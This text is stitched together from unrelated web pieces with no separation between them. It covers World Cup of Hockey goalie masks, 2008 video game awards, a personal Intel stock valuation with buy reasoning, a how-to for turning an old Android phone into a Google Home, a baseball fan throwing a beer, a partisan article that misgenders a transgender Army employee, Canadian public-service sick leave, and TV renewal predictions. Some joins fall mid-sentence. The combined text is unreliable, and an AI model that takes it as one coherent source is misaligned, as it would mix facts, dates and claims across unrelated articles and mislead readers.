A few months ago, NoVa Caps conducted an interview with Swedish artist Dave Gunnarsson, Braden Holtby’s exclusive goalie mask painter. With the highly-anticipated World Cup of Hockey in less than a month, Gunnarsson is working his magic on a number of World Cup goalies’ masks. His works, along with other artists, are included in this look at the goalie masks for the World Cup of Hockey.
TEAM USA – Ben Bishop – Tampa Bay Lightning
The mask above belongs to Tampa Bay Lightning goaltender Ben Bishop. The top of the mask features the Team USA logo, and incorporates the Tampa Bay colors of blue and white into the mask. The tubing on the sides of the mask spells USA. Lightning and USA logos are found throughout the mask. But the most fascinating feature of this mask is the fact that it lights up when the lights go out! As illustrated above, the mask features neon tubing that gives the mask the ability to glow when in a dark environment.
TEAM USA – Jonathan Quick – Los Angeles Kings
TEAM CANADA – Braden Holtby – Washington Capitals
The Caps’ very own Braden Holtby’s mask includes the recognizable Canadian maple leaf with distinct, pointed veins and the Caps logo featured in a subtle way behind the leaf in holographic paint. It is only visible up close. The panels of the sides feature the NHL and World Cup logos. Here is a video from DaveArt’s Instagram page (@davidofdaveart) of Holtby’s mask:
TEAM CANADA – Corey Crawford – Chicago Blackhawks
TEAM CANADA – Carey Price – Montreal Canadiens
TEAM NORTH AMERICA – Matt Murray – Pittsburgh Penguins
Made by artist Stephane Bergeron, the young Pittsburgh Penguins netminder features the dark coloration of the North America jersey. It features a somewhat electric yellow and the North America initials on both sides of the mask.
TEAM NORTH AMERICA – John Gibson – Anaheim Ducks
TEAM NORTH AMERICA – Connor Hellebuyuck – Manitoba Moose (AHL)
TEAM FINLAND – Pekka Rinne – Nashville Predators
Team Finland’s Pekka Rinne’s (Nashville Predators) mask features the veteran netminder’s traditional monster style design with the open jaws. On the back, blue flames stand for hair and and the sides feature the Predators and Finnish logos. Also on the sides (near the cage) are blue, glowing red eyes.
TEAM FINLAND – Mikko Koskinen – SKA Saint Petersburg (KHL)
Mikko Koskinen of Team Finland will be using a mask made by Dave Gunnarsson in the World Cup. It features inspiration from the flag of Finland and crest, as well as paying tribute to Finland’s long history in hockey. Sprinkled throughout the mask are NHL and Finnish logos, as well as a tribute to retired Finnish defenseman Timo Jutila.
TEAM RUSSIA – Sergei Bobrovsky – Columbus Blue Jackets
Columbus Blue Jackets goaltender Sergei Bobrovsky pays homage to Mother Russia in this beautifully designed mask by Dave Gunnarsson. It contains a massive golden Blue Jackets logo on the back, while the Russian coat of arms and colors, with a banner showing the name “Bobs” on the chin. It also features his number (72) and the World Cup logo.
TEAM RUSSIA – Semyon Varlomov – Colorado Avalanche
TEAM CZECH REPUBLIC – Michal Neuvirth – Philadelphia Flyers
Former Capital and current Philadelphia Flyers netminder Michal Neuvirth’s mask for the World Cup of Hockey (made by Dave Gunnarsson) uses the Czech Republic’s flag as inspiration. From the top of the cage to the chin, the Flyers winged logo is cleverly painted with, and the chin has his classic “Neuvy” nickname painted on it. The checkers are inspired by the Czech shield.
TEAM CZECH REPUBLIC – Petr Mrazek – Detroit Red Wings
Petr Mrazek has been known to feature a character or element from the popular TV show Family Guy on his masks, even though he has admitted he’s never seen the show. This mask is no exception. It features Mrazek’s character climbing Toronto’s famous CN Tower, the first mask to honor the host city, dressed as King Kong, while holding the Czech flag. The character is surrounded by fighting jets, which Mrazek says are representative of all the teams in the tournament. The video below gives a better view of the teams’ logos painted on them. The other side of the mask features the Red Wings logo, as well as the Czech Republic shield.
Ondřej Pavelec of the Winnipeg Jets was also named to the Czech team and had his mask painted by Dave Gunnarsson:
TEAM EUROPE – Frederick Andersen – Toronto Maple Leafs
TEAM EUROPE – Thomas Greiss – New York Islanders
TEAM SWEDEN – Henrik Lundqvist – New York Rangers
TEAM SWEDEN – Jacob Markstrom – Vancouver Canucks
By Michael Fleetwood
Once the remaining masks are released, the article will be updated as needed, so please check back for updates!While 2009 is almost upon us, there's still some time to pass out gaming awards for 2008. I bet you didn't think No More Heroes would be making anyone's list.
The San Francisco Chronicle handed out their gaming awards for the year. Noticeably missing from this list are the usual suspects, like Grand Theft Auto IV, Dead Space, Fable II, and Resistance 2. They've been replaced by the likes of No More Heroes (!), Soulcalibur IV, Mirror's Edge, and Burnout Paradise. They also named their gaming MVP, as well as their High's, Low's and Most Improved.
While all these games are fine choices, the No More Heroes pick is a bit surprising. But hey, this is why we are allowed to have an opinion. Here's their 10 best of 2008:
- Prince of Persia (PlayStation 3, Xbox 360, PC) - Metal Gear Solid 4 (PlayStation 3) - Gears of War 2 (Xbox 360) - Burnout Paradise (PlayStation 3, Xbox 360) - Little Big Planet (PlayStation 3) - Mirror's Edge (PlayStation 3, Xbox 360, PC) - Fallout 3 (PlayStation 3, Xbox 360, PC) - Left 4 Dead (Xbox 360, PC) - Soulcalibur IV (PlayStation 3, Xbox 360) - No More Heroes (Wii)
MVP - Criterion HIgh - Home, NXE with video services Low - Denis Dyack vs. NeoGAF Most Improved - iPhone Games
The best video games of 2008 (San Francisco Chronicle)Intel (INTC) is another company I bought before doing any type of valuations. Intel is one of the first companies whose annual and quarterly reports I actually read, and it was noticeable even then with my limited knowledge to see its massive competitive advantages, huge margins, the free cash flow it creates, etc. The following are descriptions taken from Morningstar.
Intel holds long-term advantages over smaller rival Advanced Micro Devices AMD in the microprocessor industry. While there have been rising fears that Intel may have trouble competing against emerging processor design firm ARM ARMH, we believe such panic has been blown out of proportion.
Intel is the largest chipmaker in the world. It develops and manufactures microprocessors and platform solutions for the global personal computer market. Intel pioneered the x86 architecture for microprocessors.
Asset Valuations
With intangible assets and goodwill: $7.95 per share.
Without intangible assets and goodwill: $6.71 per share.
EBIT and Net Cash Valuations
Intel has $0.60 in net cash per share.
5X=$19.00 per share.
8X=$28.82 per share.
11X=$38.65 per share.
14X=$48.47 per share.
Revenue and EBIT Valuations
5X=$14.23 per share.
8X=$22.03 per share.
11X=$29.82 per share.
14X=$37.61 per share.
Operating Cash Flow and Free Cash Flow Valuations
Low estimate=$12.05 per share.
Base estimate=$17.62 per share.
High estimate=$23.18 per share.
Price to Book and Tangible Book Valuations
Low estimate=$11.51 per share.
Base estimate=$16.82 per share.
High estimate=$22.14 per share.
Debt Ratios
Current assets to current liabilities=2.45.
Total debt to equity=14.7%.
Total debt to total assets=9.9%.
Intel’s current only competitor in the computer chip area is AMD who has always been a distant second place to INTC. Also of note is that AMD’s CFO just resigned which is never a good sign. Intel has also been increasing its business in the server arena where it also has huge competitive advantages and controls a big chuck of the space.
The only area where Intel has been struggling recently has been in the tablet and smart phone arenas, with Intel having to play catch up to Arm Holdings (ARMH) who was first and best in those areas. Intel appears to be catching up to ARMH in the tablet and smart phone business segments as it currently has its chips in three smart phones, it will also have its chips in the upcoming Motorola Razr I, the Razr I will launch in October in Europe and Latin America, and its first Intel Powered tablets are going to be coming out in November.
Intel’s huge competitive advantages, size, and balance sheet, have enabled it to catch up to ARMH and I think it will soon surpass Arm Holdings in the mobile processor arena and extend its dominance into new profitable business segments.
Knowing what I know about Intel, its huge competitive advantages, gigantic margins, etc, I have decided to use the 11X EBIT and cash valuation, $38.65 per share, as my estimate of intrinsic value, a 40% margin of safety as its current share price is $23.32 per share.
Even if I were to use the 8X EBIT and cash valuation as my estimate of intrinsic value just to be safe, $28.82, that gets us to a 19% margin of safety. I think the 8X estimate of value is too conservative with Intel’s massive competitive advantages however.
My current cost basis in Intel is $19.90 per share. Again a bit fortunate to be up anything since I did not do any type of valuations before I originally bought into them. With all of the above stated I am going to continue to hold Intel for the long term and have my investment compound hopefully years and decades into the future.
I will also look for opportunities when the stock price is at a healthy margin of safety to continue to add shares to my portfolio and for the portfolios that I manage, now looks like it would be a good entry point, and I will update when and if I buy any more stock in INTC.
AdvertisementsThere are lots of things you can do with a spare Android phone: keep it as a backup, turn it into a baby monitor and so on.
Here's another: turn it into your very own Google Home ( ).
I'm referring, of course, to Google's smart speaker, which is a direct competitor to Amazon's widely beloved Echo. With a price tag of $129, a Home costs less than an Echo, but it's still an expensive piece of hardware.
Ah, but what if you could cobble together the next best thing using gear you already own? You can!
Old gear, new 'Home'
LuguLake
This is pretty straightforward: You're going to repurpose an old Android phone and pair it with a speaker. The former will net you Google Now, while the latter gives voice to its responses.
First, let's talk about the gear, then look at what you can -- and can't -- do with this kind of setup.
The phone is fairly easy. All you need is a relatively recent model, one with an updated Android OS and the latest version of Google Search. Ultimately, the key requirement is support for "OK, Google" detection. Stay tuned for more on setting that up.
As for the speaker, anything you can connect your phone to is fair game. My recommendation is a simple Bluetooth speaker, though it has to meet one requirement: It needs to stay powered on when plugged in. Some speakers have an auto-off feature, which you don't want here.
You can also take the wired route, plugging one end of a 3.5mm audio cable into your phone and the other into a speaker or even an old stereo. It's one more wire you'll have to look at, but of course a little decor disguising can help with all the wires.
Speaking of which, you'll need to leave your phone plugged in full-time, same as the speaker.
Obviously all this won't provide the same pretty aesthetic afforded by a real Google Home, but functionally it'll get reasonably close. And if you want to keep everything in close proximity, consider getting a speaker that's also a phone stand. For example, the LuguLake Bluetooth speaker/phone stand shown here might prove a good option, if only because it gives your phone a forward-facing place to sit. It's currently priced at $29.99.
Enlarge Image Screenshot by Rick Broida/CNET
Although you'll have to provide the wall USB plug for the speaker to stay powered, it has a physical on-off switch, so I'm pretty certain it won't automatically shut off after a period of inactivity. (Not positive, though; check with the manufacturer if you want to be sure.)
Give Google ears
From there you simply need to power up the speaker, pair the phone with it (via cord or Bluetooth) and make sure the phone is configured for voice detection.
Depending on the model and which version of Android/Google Search you have, this may already be set up correctly. On my Samsung Galaxy S6 ( ), for example, which is still running Android 5.1, I needed to venture into the Google app's Settings menu, then tap Voice > "Ok Google" detection and make sure "From any screen" was enabled.
With that done, Google would be listening for spoken commands even when the screen was off -- so long as the phone remained connected to power.
Talk the talk
Now it's time to say those magic little words: "OK, Google." If you're already acquainted with this feature, you know the drill; the only variable here is now there's a "permanent Google" connected to a speaker.
(What about your current phone? Isn't it listening as well? Sure enough, your spoken commands might trigger both phones at the same time. The Google Home, for its part, is location- and context-aware, and prioritizes spoken commands.)
So what can you do with your new "Google Home"? Pretty much anything and everything you can do with your phone, natch. That's both good and bad, because Google's voice-activated assistant works a little differently across different kinds of devices -- and not always for the better in this case.
For example, you can say, "OK, Google, play some Billy Joel on Spotify," and it'll open up the Spotify app and queue up a playlist -- but stop short of actually playing it. That's a bummer, because you'll have to manually start the music, kind of defeating the purpose. (Substitute "Pandora" for "Spotify," though, and you'll get your tunes, because the former auto-plays when you launch it.)
Enlarge Image Tyler Lizenby/CNET
You can also ask for specific songs or albums that are in your Google Play Music library, but if you're not a subscriber to the eponymous streaming service, you might not be happy with the results. My spoken requests to play certain albums or artists were often met with failure.
When I asked for some Adele, for example, Play Music tried to play songs not in my own library -- and couldn't. Keep in mind, though, that this is all based on Google Now as opposed to Google's newer, smarter Assistant, which may be able to do a better job fielding music requests. Unfortunately, for the moment only newer phones have access to Assistant. (Here's how to see when Assistant might be coming to your phone.)
Fortunately, Google Now can handle a wealth of other handy tasks. It can answer all kinds of questions, set alarms, give you news and sports updates and much more. It can also make phone calls for you (provided the phone still has service or you've set it up for Wi-Fi calling) and send messages, neither of which the Google Home can do.
Despite the rather frustrating music limitations, a home-brew Google Home can be a nice addition to your pad. And it's definitely a cool way to put an old phone to good use. Your thoughts?Hyun Soo Kim camps under a fly ball while a beer thrown from the crowd drops perilously close to the Orioles outfielder on Tuesday night in Toronto. (Mark Blinch/The Canadian Press via AP)
TORONTO – The Texas Rangers have not even arrived north of the border yet, and we already have reason to be concerned for their safety.
If this sounds like a joke, it’s not. Tuesday night, as the Toronto Blue Jays won a tense wild-card game over the Baltimore Orioles on Edwin Encarnacion’s three-run walk-off homer in the 11th, player well-being at Rogers Centre became an issue again. As Orioles left fielder Hyun Soo Kim settled under a fly ball that would end the seventh inning, a full beer can came hurtling out of the stands, missing Kim by mere inches.
Here's the closeup shown later pic.twitter.com/eGDQ2oAmXp — CJ Fogler (@cjzero) October 5, 2016
No one was hurt. The Orioles were incensed.
“First and foremost, that is about as pathetic as it gets between the lines,” said Orioles center fielder Adam Jones, who was the first on the scene. “You don’t do that. I don’t care how passionate you are, how you think you’re passionate. You don’t do that. Yell, cuss, scream, call us [anything]. We suck. We know. We’re sacks of [dung]. We know. We’re horrible. We get it. We’re the opponent. We completely understand that.
[With Orioles closer Zach Britton on the bench, Edwin Encarnacion’s walk-off homer vaults Blue Jays]
“But to throw something at a player, that’s just as pathetic as it gets.”
The incident comes one year after the Blue Jays’ tense division series with the Rangers that culminated in a decisive fifth game at Rogers Centre. In that game, when umpires overturned a call in Texas’s favor, a volatile crowd threw bottles and cans on the field. It was a scary situation.
Now, the Blue Jays will host that same opponent here in Sunday’s Game 3.
“It’s unfortunate that, for a lot of different reasons, people lose some good decision-making when they get over-emotional,” Baltimore Manager Buck Showalter said. “Thank goodness the ballplayers don’t do that as often.”
[Watch Encarnacion end the Orioles’ season with a walk-off homer in the 11th]
Except when it comes to the Rangers and the Blue Jays, they do. Last October, Jose Bautista won that fifth game with a tie-breaking, three-run homer – and was chastised by Rangers reliever Sam Dyson for his epic bat flip. That led to a skirmish between the teams, but it simmered into this season, when Rangers second baseman Rougned Odor leveled Bautista with a right cross during a game in Texas.
So the intensity is certain to be high Sunday at Rogers Center. The Orioles don’t care much about that. They did care about Kim’s safety Tuesday.
“It’s a shame that some idiot would decide to do that,” catcher Matt Wieters said. “There’s no point in having a guy like that in the stands. It’s something to where I hope some sort of charges are pressed against that guy because that was close to doing some damage.”
After Kim walked away having caught the fly ball off the bat of Melvin Upton Jr. for the final out of the seventh, Jones turned toward the crowd and yelled.
“He’s not looking,” Jones said. “You could hit him in the back of the head. You never know what could happen. That’s a full beer that’s being thrown. That’s just not part of the sport.”
There were reports on social media that Jones and Kim were subjected to racial slurs and taunts during Tuesday’s game.
“I’ve heard that so much by playing baseball, I don’t even care,” Jones said. “Call me what you want. Call me what you want. I don’t care.”
Asked whether he heard racial slurs on Tuesday specifically, Jones said: “You hear everything.”
Which leaves room to wonder what we’ll here in the division series, when playoff baseball comes back to Canada againTamara Lusardi, a transgender who transitioned from male to female, has won his case against the Department of the Army for discrimination and humiliation, based on a report from the U.S. Office of Special Counsel (OSC).
In 2010, Lusardi was working for the U.S. Army Aviation and Missile Research Development and Engineering Center as a civilian employee, and announced that he was now officially beginning his transition from male to female. Lusardi changed his name and began dressing as a woman, at which point management held a meeting to accommodate Tamara in the workforce. Management supported Lusardi and repeatedly stated that they intended to treat him fairly and accommodate in any way possible, yet emphasized that they also wanted to ensure a safe workplace for everyone.
In light of these concerns, Lusardi voluntarily agreed to use the executive restroom, given that he had not undergone gender transition surgery and several female employees had expressed serious concern about sharing a restroom with a man presenting as a woman.
However, Lusardi didn’t stick to the agreement, using the female restroom on three separate occasions between January and March 2011. After females again reported discomfort, Lusardi was informed that he should continue to use the executive restroom as agreed, but he protested. But discomfort is relevant, according to the OSC, an office which holds that regardless of Lusadi’s initial agreement, he should be able to change his mind and use the female restroom whenever he sees fit. Employee preferences are irrelevant to the legality of the issue and must be changed through training.
Particularly egregious for Lusardi was the fact that one of his supervisors continued to refer to him as “Sir” in email communications. This made it difficult for Lusardi to sleep at night. Tamara also alleges that over the course of time he was denied work.
“[T]he Agency inappropriately restricted [Tamara’s] restroom usage, repeatedly failed to use her proper name and pronouns, and subjected her and her workplace conversations to increased review and scrutiny,” the report noted. The move represents a serious follow through of Obama’s executive order from July, which bans workplace discrimination against LGBT federal government employees or contractors.
As a part of OSC recommendations, the Army will now mandate additional sensitivity training for supervisors and employees regarding LGBT issues.
Follow Jonah Bennett on Twitter
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected] Board President Scott Brison has promised federal unions that steps to repeal Tory legislation that gave the government power to unilaterally impose a new sick-leave regime will begin when Parliament resumes this week.
[np_storybar title=”Philip Cross: Ottawa’s toxic sick leave regime” link=”http://business.financialpost.com/fp-comment/philip-cross-ottawas-toxic-sick-leave-regime”%5D
Negotiations with federal public service unions are set to resume and sick leave benefits should remain a part of the discussions. It is well-documented that public sector workers claim sick leave more than the private sector. Less understood are the reasons for this gap, which has its origins in incentives, the public service culture of entitlement to superior benefits and the refusal of government unions to tell its members that the gap exists and is widening.
In their defence, the government unions cite a Statistics Canada regression analysis that allegedly found that differences between public and private sector leave use are explained mostly by more unionization as well as an older labour force. That unions play a large role seems obvious, but is misleading. The key variable is the public sector’s seemingly unlimited access to taxpayer funds, not unionization. High unionization rates in the private sector would not lead to similar sick leave benefits, because firms would risk insolvency. After all, public sector-style pay and benefits in the auto industry helped drive Chrysler and General Motors into bankruptcy. It is not enough for unions to ask for unaffordable benefits; it requires an employer willing to pay for them. As for aging, this highlights another problem with regression analysis; does causality run from an aging labour force to more sick leave use, or do the superior pensions and benefits of the public sector attract older workers? There are many instances of middle-aged people joining government for the pension and medical benefits. A unionized government job is a wonderful place to grow old and retire.
[/np_storybar]
Treasury Board officials notified the unions in a letter that sections of Bill C-59, which allow the government to force a sick-leave deal, will be repealed as one of the “first orders of business. “
The move lifts a major threat hanging over bogged-down contract talks on sick-leave reforms and come as the largest union, the Public Service Alliance of Canada, gets ready for its first bargaining session with the Liberals on Feb. 1.
“We are pleased that the new Liberal government has promised to repeal the labour law changes in Bill C-59 and given assurances that the will not unilaterally take away our negotiated sick leave provisions,” said PSAC president Robyn Benson.
But Brison isn’t going as far with another Conservative omnibus bill, C-4, which completely changed the rules for collective bargaining in the public service. The unions also want those changes repealed for the rest of this round of bargaining.
“We want the government to do the same with C-4 so our union and Treasury Board can go back to a system of fair collective bargaining on a level-playing field and achieve a collective agreement that strengthens public services for all Canadians,” said Benson. “We continue to oppose the labour law changes imposed through the Conservative government’s Bill C-4.”
Treasury Board’s letter, however, said the government “intends to engage in consultations with public sector partners to revisit legislative provisions introduced through Bill C-4.” That process “will be put in place at the earliest opportunity.”
Debi Daviau, president of the Professional Institute of the Public Service of Canada, said the repeal of C-59 bodes well for improved labour relations and will help the upcoming bargaining sessions get off on the right foot. PIPSC returns to the table at the end of February.
But Daviau questions whether this round of bargaining can be fairly completed under the rules of C-4, which some say |
season (while thrilling few viewers), this is the one with the most Gillian Anderson. Rapidly dwindling viewership (even creaky old Dateline now performs better for NBC on Sunday nights) gives experts few reasons to offer encouraging words.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL Dads Television's worst new show (by a large margin) of the 2013-14 season, Dads would probably already be a goner were it not for two factors: (1) Fox owns the show, and (2) it comes from Seth MacFarlane, who provides Fox with a large percentage of its programming. It's still not likely to return, but nor is it 100% dead.
Consensus: At risk At risk BW RCI TVG DL SP TVL EW TV VUL Dracula Renewal isn't entirely out of the question for this relatively inexpensive first-year series; NBC will likely want at least one genre program to pair with Grimm on Fridays. It's just that it won't necessarily be this first-year retelling of the Dracula story, which carries with it less prestige than Hannibal, another cheap-to-make NBC bubble show in a similar situation (though Dracula performed slightly better).
Consensus: Cancellation expected Cancellation expected BW RCI TVG DL SP TVL EW TV VUL Enlisted No matter how often your favorite TV critic writes a defense of this first-year military comedy and asks for its renewal—and critics do like the show, while Fox has given it almost no chance at success—there is virtually zero chance it will be back for a second tour of duty.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL Family Guy Renewal appears to be a mere formality for Seth MacFarlane's flagship series, which will return for its 12th or 13th season (depending on how you count such things) next year.
Consensus: Could go either way Could go either way BW RCI TVG DL SP TVL EW TV VUL Friends With Better Lives While this brand new CBS comedy doesn't exactly hide its attempt to duplicate the classic Friends sitcom formula, its performance so far has been Friends with worse ratings. With only three episodes under its belt, FWBL still has a slight chance at sticking around, but it will need to show signs of life in the next few weeks (and hope that fellow CBS newcomer Bad Teacher is DOA).
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL The Goldbergs This 1980s-set series has been a surprisingly decent performer in its first season despite mixed reviews, faring far better than the network's other new sitcoms. Unless ABC surprises the experts and decides not to bring any of its first-year comedies back, The Goldbergs looks safe.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL Grey's Anatomy An 11th season looks like a sure thing for the soapy medical drama, with casting changes (the departures of Sandra Oh, Gaius Charles, and Tessa Ferrer) already announced for next year.
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL Growing Up Fisher Though this first-year sitcom is less impressive than its lead-in About a Boy in terms of quality and ratings, it retains just enough of Boy's viewers to lead experts to suggest that if the former returns, so will the latter.
Consensus: Could go either way Could go either way BW RCI TVG DL SP TVL EW TV VUL Hannibal Despite critical acclaim and the devotion of its fans, this second-year drama just can't seem to find enough viewers to escape the bubble, even with the lowered expectations of a Friday night timeslot. But don't lose hope completely. Several writers suggest that another network (or perhaps Netflix) could save Hannibal should NBC unload it. And NBC could even wind up bringing it back for a short season to pair again with Grimm, should the network choose to pass on a second season of Dracula as well as its fantasy/horror pilots.
Consensus: Uncertain Uncertain BW RCI TVG DL SP TVL EW TV VUL Hart of Dixie Though our panel of experts are divided on the future of this third-year drama series, the more authoritative (and recently updated) among them suggest that CW will renew the series. If Dixie does return, it may be for a shorter season than normal, however.
Consensus: Cancellation expected Cancellation expected BW RCI TVG DL SP TVL EW TV VUL Intelligence With much of its current schedule already renewed, CBS is expected to have room for just four new series in 2014-15. So it is extraordinarily unlikely that it would use one of those slots to return this low-rated Josh Holloway vehicle, which had lesser 18-49 viewership numbers than any CBS series other than Hostages this season and has no unaired episodes left to try to impress network programmers.
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL Last Man Standing Though we sometimes suspect that this prophetically named Tim Allen comedy survives merely because ABC forgets that it airs the show and thus doesn't realize it needs to cancel it, Last Man Standing is only about a season away from scoring a syndication deal. In other words, don't expect it to go away yet.
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL Law & Order: SVU Some of you may never have experienced a world without some sort of Law & Order series on television. Like The Simpsons, the L&O franchise has been on the air since the Bush administration—the first one. As with The Simpsons, nothing changes next year. Only a few unresolved financial issues stand in the way of a 16th season for SVU.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL Marvel's Agents of S.H.I.E.L.D. While it hasn't been the commercial or critical success that Disney was hoping for, Agents of SHIELD gets a significant boost to its somewhat disappointing (and declining) 2nd-place broadcast numbers through DVR playback. While the later viewings don't help ABC's bottom line, those numbers do suggest that there is an audience for the show—one that the network could better exploit in future seasons. As a result, experts now feel that this one-time bubble show is almost certain to return for a sophomore year, and comments from ABC management in recent months also suggest that a renewal is in store. The network is also strongly considering adding a second Marvel series (or miniseries) based on Hayley Atwell's Agent Carter character next season, which would also suggest that its first Marvel series is sticking around.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL The Mentalist Many factors point to the end for this Sunday night procedural, now in its sixth season. Ratings have been steadily declining (though still better than those for The Good Wife), the show is expensive, the central serialized storyline was wrapped up mid-year, the showrunner is leaving for another series next season, and the cast was recently re-tooled. Still, Deadline's Andreeva argues that Warner Bros., which owns the series and makes money from its international sales, could convince CBS to bring it back for another year.
Updated 4/24: Warner Bros. is reportedly shopping the show to other broadcast and cable networks (with TNT a good possibility) should CBS decline to renew the series for a 7th season.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL The Middle Another one of those shows on this list solely because of ABC's no-early-renewal policy, The Middle will certainly be back for a sixth season in the fall.
Consensus: At risk At risk BW RCI TVG DL SP TVL EW TV VUL Mixology New serialized comedy Mixology hasn't exactly been a hit during its eight weeks on the air, but the show's 18-49 numbers put it ahead of several other ABC bubble comedies on this list. Thus a renewal, while still fairly unlikely, wouldn't be a complete stunner. And Deadline's Andreeva reported last week that the show is "gaining momentum" with ABC programmers (Vulture's Joe Adalian agrees that "ABC execs love the show"), even if it isn't doing the same with viewers.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL Modern Family In his new book, physicist Max Tegmark posits that everything that can conceivably happen at any moment in time does indeed happen in one of the infinite number of parallel universes that make up our multiverse. In every last one of those parallel universes, Modern Family is renewed for a sixth season.
Consensus: Decent chance at renewal Decent chance at renewal BW RCI TVG DL SP TVL EW TV VUL Nashville As one of ABC's lowest-rated returning dramas, Nashville isn't entirely in the clear as its second season nears its conclusion. But TV by the Numbers's Tom Shaw cites the program's alternative revenue streams—music sales and live tours—as a possible argument in favor of renewal.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL The Neighbors While a move from Wednesdays to Fridays helped to lower expectations for this second-year alien invasion comedy, it also reduced viewership, to the point where The Neighbors is easily ABC's lowest-rated remaining comedy. Though it apparently isn't entirely out of the running for next season, it seems likelier that ABC will greenlight series creator Dan Fogelman's new series instead.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL Once Upon a Time Though its spin-off proved to be short-lived, and its own ratings are down by 10-20% compared to last season, Once Upon a Time is considered a lock to return for a fourth season.
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL Parenthood Sudden cancellations tend not to happen to long-running serialized shows with a devoted (though small) fan base and critical acclaim. Experts feel that NBC is unlikely to pull Parenthood without giving it a chance to wrap up its storylines, so a sixth (most likely short and final) season seems in the cards.
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL Resurrection Though critics felt that Resurrection paled in comparison to the French drama The Returned, which features a very similar concept, this spring newcomer started very strong in terms of viewership and remains among ABC's top-rated dramas. The show has been shedding viewers in recent weeks, however, though probably not to the point where it is in danger (though possibly to the point where its second season will be 13 episodes or fewer).
Consensus: Looking good Looking good BW RCI TVG DL SP TVL EW TV VUL Revenge Syndication is the reason cited by most experts in pegging this third-year drama as likely to be renewed; it needs just one more full season to reach the magic number of episodes. And ABC owns the show, giving it added incentive to get there. Experts also suggest that the network wouldn't alienate fans by killing the serialized show without giving it a chance to wrap up the story.
Consensus: At risk At risk BW RCI TVG DL SP TVL EW TV VUL Revolution While a few experts suggest that it could return for a short season (or even a movie), this one-time hit has seen its 18-49 ratings drop by almost 50% compared to its freshman run. If you're one of Revolution's remaining fans, you'll need to root for a poor batch of new NBC drama pilots (and probably the cancellation of Parenthood and Hannibal). It does, however, have a better chance at renewal than fellow NBC bubble shows Believe and Crisis.
Consensus: Safe Safe BW RCI TVG DL SP TVL EW TV VUL Scandal It would be a scandal indeed if this buzzy drama didn't come back for a fourth season, but there is no reason to even consider such a possibility.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL Star-Crossed Ratings for this new sci-fi romance have been miniscule (we're talking Carrie Diaries miniscule) even by CW standards, but ratings aren't the only factor the network considers in making its renewal decisions (online viewership, for one thing, also comes into play). Out of the remaining CW sci-fi/fantasy bubble shows, though, this one seems to have the smallest chance at another season.
Consensus: Unclear Unclear BW RCI TVG DL SP TVL EW TV VUL Suburgatory Held until midseason this year, this third-year comedy with a modest cult following has been putting up decent but not terrific numbers—one of the reasons why experts can't seem to agree on its renewal odds. Still, it is performing better than fellow Wednesday night comedy Mixology, so if ABC renews that show but not Suburgatory, you'll have a legitimate gripe.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL Super Fun Night The only reason this mostly misnamed freshman comedy (true, it is on at night) isn't a lock for cancellation is the very, very slim chance that ABC could re-tool the series (yet again) and give it one last shot (especially if the network's comedy development slate doesn't pan out). Still, most experts predict cancellation, thanks to Night's propensity for losing much of lead-in Modern Family's sizeable audience.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL Surviving Jack Though Justin Halpern's second TV comedy scored far better reviews than his short-lived first series, its ratings are far lower. (Even Dads performs better in the 18-49 demo.) Fox also telegraphed its intentions last fall when it slashed the number of episodes planned for this first season—a vote of non-confidence that now seems somewhat justified. Still, the show's ratings have been fairly stable through its first four weeks, and they aren't really all that far behind those for renewed comedies The Mindy Project and Brooklyn Nine-Nine. So the door is still slightly open for Jack to impress Fox execs in the coming weeks.
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL The Tomorrow People Though there probably is no tomorrow for People, the first-year sci-fi remake has better ratings than all of the CW's remaining bubble shows other than The 100. Still, with few open spots available on the network's limited schedule, Hart of Dixie would probably get the edge over this by virtue of its longer tenure (and thus being closer to syndication).
Consensus: Not looking good Not looking good BW RCI TVG DL SP TVL EW TV VUL Trophy Wife If the show were cheaper to make, the fact that ABC owns the series would give the modestly rated first-year comedy a better shot at renewal. But Trophy Wife's big-name cast means big salaries, leading most experts to suggest that the show will not return.
Fate already determined
Below is a list of shows already canceled or renewed. Bookmark our 2013-14 TV Season Scorecard for daily renew/cancel updates (as well as a guide to the renewal status for many of your favorite cable series).
Renewed Canceled or Ended 2 Broke Girls CBS
48 Hours CBS
60 Minutes CBS
The Amazing Race CBS
America's Next Top Model CW
Arrow CW
The Big Bang Theory CBS
The Blacklist NBC
Blue Bloods CBS
Bob's Burgers Fox
Bones Fox
Brooklyn Nine-Nine Fox
Chicago Fire NBC
Chicago PD NBC
Criminal Minds CBS
CSI CBS
Elementary CBS
The Following Fox
Glee Fox
The Good Wife CBS
The Great Christmas Light Fight ABC
Grimm NBC
Hawaii Five-0 CBS
MasterChef Junior Fox
Mike & Molly CBS
The Millers CBS
The Mindy Project Fox
Mom CBS
NCIS CBS
NCIS: Los Angeles CBS
New Girl Fox
The Originals CW
Parks and Recreation NBC
Person of Interest CBS
Reign CW
The Simpsons Fox
Sleepy Hollow Fox
Supernatural CW
Survivor CBS
Two and a Half Men CBS
Undercover Boss CBS
The Vampire Diaries CW
The Voice NBC American Dad! Fox *
The Assets ABC
Back in the Game ABC
Betrayal ABC **
Killer Women ABC **
Hostages CBS **
How I Met Your Mother CBS
Ironside NBC
Lucky 7 ABC
The Michael J. Fox Show NBC
Murder Police Fox [unaired]
Nikita CW
Once Upon a Time in Wonderland ABC
Raising Hope Fox
Rake Fox **
Sean Saves the World NBC
